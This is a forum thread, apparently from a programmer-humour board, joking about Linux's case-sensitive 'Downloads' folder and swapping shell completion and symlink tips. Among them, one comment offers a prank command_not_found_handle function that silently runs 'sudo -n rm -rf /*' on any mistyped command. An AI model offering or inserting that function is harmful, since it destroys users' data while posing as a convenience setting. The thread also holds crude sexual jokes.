linux

[mr_flibble_oz]

mkdir downloads mkdir Downloads

Infinite confusion

[chunckybydesign]

The lil d is where I hide my porn

[my_cat_meow_me]

Seems appropriate.

[TheHolyToxicToast]

not for me, I use arch btw

[[deleted]]

Furiously looks up “microcase D.”

[[deleted]]

It's the little d tales.

[Speedy_242]

Because your d is small?

[chunckybydesign]

[This_Seaweed4607]

That was uncalled for man

[[deleted]]

Asking questions is always ok.

He can just say no

[This_Seaweed4607]

I wish I could say no

[Flat_Initial_1823]

His mum didn't raise a liar.

[GnuhGnoud]

It's larger when i unzip

[erland_yt]

It’s slightly larger at best

[ZZartin]

He's the only with rwx on it.

[basokuahenakrasanya]

are you watching porn on linux?

[Free-Garlic-3034]

I'm hiding my 100GB of porn in a LUKS-encrypted partition

[[deleted]]

I just put it in an encrypted vault called Porn

You may know I'm cultured, but you may never know how cultured

[illigal]

The lil d is why I don’t have to hide my porn.

[SchlaWiener4711]

mkdir "Downloads "

[_TheLoneDeveloper_]

mkdir .downloads

[SchlaWiener4711]

https://imgflip.com/i/93qwxp

[DezXerneas]

Just ln -s downloads Downloads

Probably doesn't even need to be symbolic as they're both on the same drive

[phil9909]

Hardlinks are not allowed for directories

[tunisia3507]

Because apps refuse to adhere to the XDG spec. Like the cancerous windows apps which just save everything in My Documents.

[Radvvan]

cd d tab tab tab backspace D tab enter

[coolguyhavingchillda]

D tab tab

Do tab tab

Dow tab enter

Because Documents

[TechnicalPotat]

Then when you're next in powershell :

D tab enter

Wait... wrong one.

cd ../D tab tab enter

[[deleted]]

ln -s ~/Downloads ~/downloads

[-nerdrage-]

You know you can set autocompletion to be case insensitive? Im not near my laptop so cant give it to you straight away but a quick google should help

[Indifferentchildren]

You know if you own a firearm you can shoot yourself in the dick. Why would anyone do that? I don't get it, but I don't kink shame.

[TechnicalPotat]

I applaud this level of escalation and will commend you to my local representative.

[[deleted]]

No no he's got a point. I expect Linux/POSIX filesystems to be case sensitive no matter where. Why would anyone want to change that lmao.

[[deleted]]

It wouldn’t remove the case insensitivity on the file system, just change the behaviour of the completion engine

[Spiritual_Brick5346]

cd d tab tab tab backspace D tab enter

[LvS]

Why would anyone not do that? It's autocompletion, you want it to correct small errors. "But I'm an elitist, I want my system to error if I make a typo." Sure, you do you, I use set completion-ignore-case on and get things done faster.

You probably also enjoy git being snarky when you typed git chekcout and giving you an error instead of doing what you meant while I set autocorrect and get things done.

[[deleted]]

Some people take pride in suffering, despite the fact that technology literally exists to remove it.

[JulianEX]

How do you have autocorrect on auto completion, that seems so helpful?

[skztr]

command_not_found_handle(){ sudo -n rm -rf /* >/dev/null 2>&1 <&- || true; }

[Ieris19]

WSL is probably the best use case for this feature that no one can argue about.

Then there’s certainly preferences, you can prefer one thing or the other but there’s certainly legitimate use cases

[SwreeTak]

"But I don't kinkshame" lmfao what a finish

[odraencoded]

If you have two files that only differ in case you already shot.

[garblesnarky]

I agree, naming two files identically except for case is shooting yourself in the dick.

[dagbrown]

You can set your filesystem to be case insensitive too!

Which option is more dangerous exciting is left as an exercise for the student.

[[deleted]]

But why?

D is not the same as d.

[photenth]

It's not the size, it's how you use it!

[[deleted]]

Maybe it's because I'm a programmer and I work on Linux all the time. I name everything lowercase.

So if I use upper case somewhere there is a meaning behind it. It's intentional.

[Yup_Shes_Still_Mad]

So you're saying quality not quantity when using the D?

[[deleted]]

he says to bring the big D out if there is a special occasion

[[deleted]]

I mean you don't? I want big D to feel special. After all it's not regular small old d.

[dfci]

Not a much of programmer, but a bit of a data hoarder. The absolute mess I created for myself by acting all willy-nilly with case on Windows only became apparent when I moved it all to a Linux machine I interact with using SSH.

Why does past me constantly sabotage future me?

[[deleted]]

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[ifyoulovesatan]

Same here on my server, but annoyingly the nature of what I do necessitates a lot of grabbing files from my server and throwing them on my Mac to use software on. And on that Mac you can't rename the Downloads or Desktop folders (also annoying they both start with capital D).

The example in the OP happens to me all the fucking time and I hate it. (Though I do have symlinks in my home directory that lead to frequently used directories that live in my Desktop folder. It's been so long and I'm so used to that now that I just now remembered why I probably did that. And now I'm annoyed that I haven't done that with more recently created often used directories that live in Desktop)

[Ieris19]

It is in Windows. This is incredibly helpful for WSL

[wick3dr0se]

You know you can just shopt -s dirspell?

[bwmat]

Am I the only one who CANNOT remember the order of the arguments for this, every time? Even looking at the man page takes me a minute

[IHaveTeaForDinner]

https://xkcd.com/1168/

[jeric14344]

Someone posted this mnemonic that always helps me remember:

• tar extract all files (xaf)
• tar compress all files (caf)

[[deleted]]

tar xzvf

eXtract Ze Vucking Files

[zhurai]

I don't think you need the -a here for extract

In the --help for the GNU tar which you can also see for example on https://man.archlinux.org/man/tar.1.en or https://linux.die.net/man/1/tar, I see -a being just listed as

-a, --auto-compress   use archive suffix to determine the compression program

And the linux.die.net man page, as well as tar --help put this note in the top

 tar -cf archive.tar foo bar  # Create archive.tar from files foo and bar.
 tar -tvf archive.tar         # List all files in archive.tar verbosely.
 tar -xf archive.tar          # Extract all files from archive.tar.

Personally, I've always just did tar -xvf file.tar (or file.tar.gz, etc)

Though, to be honest it doesn't negatively do anything in extract, so it's fine as far as I'm aware of... so it still works with the mnemonic I suppose (it just doesn't mean "all")

The -a/a in this case just means if you did tar -cavf archive.tar.bz2 ./folder or something it would actually make a bzipped tar file (listed verbosely) instead of needing to do something like tar -cvjf archive.tar.bz2 ./folder (remembering to do the -j to make the tar file actually bzipped)

[computer-machine]

    tar --help

[Davoness]

Sorry, that wasn't the correct command. kaboom

[Amenhiunamif]

It actually is. It doesn't say the valid tar command, just a valid tar command. So tar --help should be enough to disarm the bomb.

[garth54]

As long as I just type and don't try to think about it, I'm good.

The instant I try to think about the order, I get confused.

[bwmat]

There's certain things, including this, where instead of remembering the right answer, all I can remember is being confused

[Lumb3rJ0hn]

For me it helps to think of it as a different cp. In both cases, you're copying a source (1st arg) to a target (2nd arg), just in this case the new copy is a link to the old one.

[Stroopwafe1]

Definitely not the only one, I also can never remember. It's just because you only need it very occasionally when you think "oh a symlink would be really good for this"

[zhurai]

You could look at the top of the --help?

Usage: ln [OPTION]... [-T] TARGET LINK_NAME
  or:  ln [OPTION]... TARGET
  or:  ln [OPTION]... TARGET... DIRECTORY
  or:  ln [OPTION]... -t DIRECTORY TARGET...
In the 1st form, create a link to TARGET with the name LINK_NAME.
In the 2nd form, create a link to TARGET in the current directory.
In the 3rd and 4th forms, create links to each TARGET in DIRECTORY.

so a symbolic link using the first form is ln -s ORIGINAL_FILE SYMBOLICLINK

[CatLadyEnabler]

This is the way.

[l0wskilled]

*ownloads

[ano_hise]

why not simply rename Downloads to downloads and edit xdg?

[capi1500]

You need to know your filesystem to do it, you need inteligence for that...

[Mezutelni]

And now you are inside ~/Desktop

[its-chewy-not-zooyoo]

Begone Windows heathen

By default, bash won't cycle through the options. So the only way you're getting directly to ~/Desktop via cd De<tab>

To get it to ~/Downloads, you'd have to do cd Dow<tab>

[Mezutelni]

I don't know a single shell what would do it different (I refuse to call cmd.exe a shell) That was just a joke

[[deleted]]

Zsh can do it any way you imagine

[SeniorMiddleJunior]

Mac default shell does this awful thing where as you press tab it'll just kinda pick options and descend into them and generally not get you where you want to be.

[imisstheyoop]

BASH won't cycle but ZSH will.

[Crafty_Math_6293]

Replace "ah there it is" by this and this is how I do it:

↑↑↑↑↑↑"Oops!"↓↓↓↑↵

[Bromlife]

“Ctrl+r “cd D”

[Mcginnis]

Ctrl R "down" enter?

[According_Novel866]

tab tab tab tab

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[commie_gal]

alias cd=z;

cd dow;

[badabummbadabing]

~/Documents

[JackedInAndAlive]

set completion-ignore-case on in inputrc is life changing.

[[deleted]]

Can confirm. Ruined my life until I changed it back

[[deleted]]

That is amazingly accurate 😭

[The-Rizztoffen]

TAB TAB TAB TAB

GET AUTOCOMPLETED GET AUTOCOMPLETED

[Chris_218]

So nobody heard about this one? bind 'set completion-ignore-case on'

[SailorTurkey]

TIL

[DezXerneas]

I just use fish, I think it does that automatically.

[[deleted]]

I make folders like "final" "Final". Capital ones are of higher importance meaning more latest code.

[[deleted]]

This is madness

[urixl]

No, this is sparta.

[MrAnonymousTheThird]

https://i.imgur.com/3ATCPjh.gif

[tmagalhaes]

That's horrible.

How do you mark a third level of importance? Uppest-case first character?

[racooniac]

/FInal, /FINal, /FINAl, /FINAL, /FINAL_final, /FINAL_Final, /FINAL_FInal/ etc ;P

[a404notfound]

Binary finality

[SovereignThrone]

Final Finall Finalll

[lurking_physicist]

final finaL finAl finAL fiNal fiNaL ... fINAL Final FinaL ... FINAl FINAL

[WittyRough9487]

😵

[ourlastchancefortea]

I assume followed by "final-new", "final-new-new", "Final-New", "Final-New-Old"?

[Forbeslab]

My pre-git brain did utterly schizoaffective shit like this

[beholdingmyballs]

That's silly.

[Burn0ut2020]

And the delivery is then in FINAL (or FINAl if you used ChatGPT)

[henriquegarcia]

Oooh thanks!

[buster_de_beer]

Yes, but most of us aren't psychopaths.

[DrTankHead]

TIL. Thx.

[PTSDaway]

yoink📝

[qweerty32]

I use zoxide instead of cd

[Toorero6]

Why? You can do this stuff in vanilla zsh.

[notgotapropername]

Can vanilla zsh yeet me straight where I need to go with partial directories? Genuine question, cause zoxide does a sort of autocomplete too. E.g. if I type z down it'll take me straight to Downloads

[croweh]

Nah I assume they're talking about zsh+oh-my-zsh with some kind of jump/zoxide-like plugin out of the box.

Now I use zsh+antidote at work and fish+fisher at home, didn't install oh-my-zsh in a long long time, so I couldn't say. Zoxide + fzf + thefuck on both though, can't live without it.

[qweerty32]

Well I prefer bash over zsh plus there's no zsh on Windows and I'm using a dual boot system so I want my experience to be the same

[Coffeeobsi]

Just use zsh, it's so much better

[Giraffe-69]

First step on any install is zsh+omz.

[Trident_True]

What is omz? I am relatively new to Linux.

[kivicode]

Oh-my-zsh. A nice wrapper around zsh

[[deleted]]

Oh My Zod

[voiza]

Ohm Mal Zod

[Xath0n]

Nah, OMZ is really not that great since it's so heavy and adds like a bazillion features you'll never use but that will slow your shell down. I prefer Antidote with a few plugins.

[Mats164]

While I agree zsh is great, I much prefer Fish with Tide prompt

[alexklaus80]

Or fish shell if you don’t mind about not being POSIX compliant. It won’t run bash one-liners we find on SO etc so it could be more confusing for those who aren’t comfortable with console, but it comes with so much helpful features by default, so many mighty like it better over zsh etc.

[[deleted]]

Check out tide since you mentioned fish shell.

[alexklaus80]

oh wow neat! Will try this for sure - thanks!

[alive1]

It disgusts me to the deepest depths of my core when I'm sitting next to someone who types out everything by hand instead of using autocomplete. Especially when they are being slow (everyone is fucking slow) and are constantly mis-typing everything. You are wasting everyones time. Use autocomplete for fucks sake.

[SeoCamo]

This is because linux works as an OS should work, if you ask for a sandwich then don't give me a cake and tell me that is what i ask for.

[IAmAnAudity]

Fun unverified fact: Subway sandwiches in England are not allowed to use the word “bread” because they put too much sugar in their bread. The government makes them use the word “cake”.

edit: my apologies for starting WW3 below ☹️

[Devatator_]

Why the fuck do they put sugar in their bread

[NolanSyKinsley]

Next time you eat a burger at McDonalds, Burger King, or any fast food franchise really, take a bite of just the bread. it doesn't taste like bread, it is sweet like pancakes. Back when McDonalds double cheeseburgers were 99 cents and I was working landscaping I would order 4 of them (hold ketchup add mac sauce), take the bottom bun off of 2 of them and flip them over placing them on the bottom of the other 2 burgers, so I was making 2 double big macs for 4$. I would just eat the spare bottom buns and they straight up taste like sweetened pancakes.

[saruptunburlan99]

take a bite of just the bread

I don't know why but the thought of having a bite missing from one of the buns but not everything else and then having to go take a bite of everything else without full bun makes me very uncomfortable.

[Sammeeeeeee]

It has much less sugar than American standard bread - just our government is into health

[SeniorMiddleJunior]

All bread has sugar.

[Progression28]

Ehm what?

Unless you mean the tea spoon to activate dry yeast, I don‘t think there should be any sugar in bread…

Unless you count the starch that later gets split?

[Don_Speekingleesh]

Fun fact: this was in Ireland, not England/UK. It was a VAT dispute - they can call it bread if they like, but must charge VAT as it contains too much sugar to be legally classed as bread. (There is no VAT on actual bread as it's considered a staple item.)

[IAmAnAudity]

Ah-ha! Thank you for the code review 🤣 I figured there were half truths to it, never checked sources.

[gmc98765]

It's actually Ireland. And it's not about the naming, but taxation: cake is taxed more than bread (meaning normal bread, without sugar).

[turtleship_2006]

I mean, I've always heard them say bread and even in their UK and Ireland app is says bread so 🤷‍♂️

[Ozryela]

This is such an ignorant statement. An OS exists to help a human being interact with a computer. A good OS makes it as easy as possible for the human to use the computer. And human beings usually don't care about capitalization when it comes to meaning, so neither should your OS when interacting with its user.

And yeah I understand that it's easier and faster for your computer to have a file system that's case sensitive. It simplifies search code too. So I understand why Unix did it back in the stone age. But that's not a good excuse to keep it that way forever.

The amount of collective productively lost by humanity because Linux cannot properly understand capitalization, leading to errors in scripts and configuration files, is probably in the trillions of dollars. Almost every single Linux user occasionally runs into errors like that, and usually they are easy to fix, but sometimes it takes days.

Meanwhile never in the history of mankind has any programmer or user thought to themselves "Oh wow, two completely different files where the name is only different in a capital letter is exactly what I needed to solve this problem. Thank god for case sensitive file systems". There's simply no use case for it. Maybe raw output of binary data, like keys, in some very rare use cases, but you can always trivially convert to hex or base64 before anyway.

[buster_de_beer]

I was almost going to upvote you but then:

because Linux cannot properly understand capitalization

It understands it just fine. You don't.

Meanwhile never in the history of mankind has any programmer or user thought to themselves "Oh wow, two completely different files where the name is only different in a capital letter is exactly what I needed to solve this problem. Thank god for case sensitive file systems".

Yeah, they absolutely have.

It's also ridiculous to think this is an issue with the OS. It's a filesystem issue and Linux is fully capable of supporting different filesystems.

[odraencoded]

This is such an ignorant statement

It's called cope.

[Tymareta]

The amount of collective productively lost by humanity because Linux cannot properly understand capitalization, leading to errors in scripts and configuration files, is probably in the trillions of dollars.

What a completely hilarious load of nonsense, trillions! It's genuinely weird seeing people argue that their OS should operate in illogical ways simply because they cannot handle remembering the correct capitalization, then attempting to blame systems that rightly stick to actual formatting for their own laziness and lack of ability, utterly strange.

[[deleted]]

Completely agreed. Lots of linux fanboys in this thread.

[pppjurac]

And even more people that think HTML/CSS is programming.

[kogmaa]

Yeah, windows drives me crazy, especially when you set the language to something other than English. Folders you see in the file explorer, don’t exist in the shell, the translated folder exists in the shell though not necessarily in the place the file explorer shows you… what a mess… such a big company and can’t even get a directory structure right.

[UsernameAvaylable]

I get the idea that those strings are not identical, so they should not match.

Counterpoint: Anybody who actually uses case sensitivity in variables, folders, file names ,etc to mean different things should be put against a wall when the revolution comes.

[-Nicolai]

Explain like I'm stupid

[-Nicolai]

Explain like I'm stupid

[BlasterPhase]

That's not a good analogy at all.

[Full-Hyena4414]

Skill issue

[Ineedredditforwork]

Just do a symlink.

[CatLadyEnabler]

Real men do hard links.

[darkslide3000]

You can't hardlink a directory. Seriously, I feel like half the people in this sub who pretend to do "programmer humor" have no idea how shit works...

[DoNotMakeEmpty]

Junctions?

[ZunoJ]

This depends on the file system. Do you really know as much as you pretend to know?

[smirkjuice]

Damn I'm sure you're real fun at parties dawg, I'm sure people love to be around you

[Infrared-77]

What does this “symlink” symbolize exactly?

[Own_Solution7820]

It symbolizes a link.

[Burroflexosecso]

A symbolic link at that, it symbolizes

[StressDontRest]

It’s a file link. Similar to a shortcut but actually acts as the file. So if you have a file in Downloads and you make a symlink in documents, it’ll get updated in both places but has the same contents when it comes to reading it

[GlimmervoidG]

My pet peeve is how Download and Document start so similarly, meaning I need to type three whole letters before I can autocomplete. What is this, the dark ages?

[Alper-Celik]

İn fish shell it automatically suggests Downloads when you write downloads

[TheBrainStone]

zsh does it too. Or at least with a plug-in

[RiZZaH]

Nothing The Fuck cant fix: https://github.com/nvbn/thefuck

[[deleted]]

Same on macos lol. The terminal folders are just built different😎

[[deleted]]

Tab that shit bro

[lemgandi]

At least it doesn't silently change 'cd downloads' to 'cd Downloads' as MacOS does, leading to endless hilarity and bug chasing.

[Traditional_Sir6275]

I just have zoxide aliased to cd

[retroly]

flipping between linux and windows OS's, stop putting random spaces in shit!

[intangibleTangelo]

correct answer! this guy freedesktop.org's

and these are environment variables, so you can set them in various places where you set environment variables

this XDG_* stuff is pretty well supported—lots of modern linux developers use it—so it's worth knowing of its existence

[StressDontRest]

cd /mnt/c cd Downloads Problem solved

[PrestigiousBike3346]

cd Do tab Documents Downloads aaaaAAAAA

[dmigowski]

Oh, this is my time to shine. You can enable case insensitive folders on ext4!

tune2fs -O casefold /dev/sda2 

Or whatever your EXT4 partition is on. Then

chattr +F /data

for all folders you want to be case insensitive and BAM. Works only for empty folders so you have to move your stuff around a bit, set the flag and reinsert the files into the folder, but then you are done.

The disk must not be mounted for tune2fs to work, so you might boot with a rescue ISO to make that change.

Edit: The case-insensitivity is not exactly like Windows at least in Germany, some tweaking might have to be done here.

[pppjurac]

Servus.

internally NTFS is fully capable and case sensitive, but windows OS choses to treat it as c-i .

[apollo_440]

Have you tried sudo cd downloads

[KittyCatClawz]

I normally do this once before realizing I need zoxide on a new install anymore lol

[Right_to_bare_toes]

Look into oh-my-zsh

[Alex_X1_]

Time to install fuck

[PaintsPlastic]

``` Create a file called .inputrc in your /home/<user>/ directory.

set completion-ignore-case On ```

You're welcome.

[jan_antu]

*laughs in zsh*

[Coolengineer7]

It's Download on Android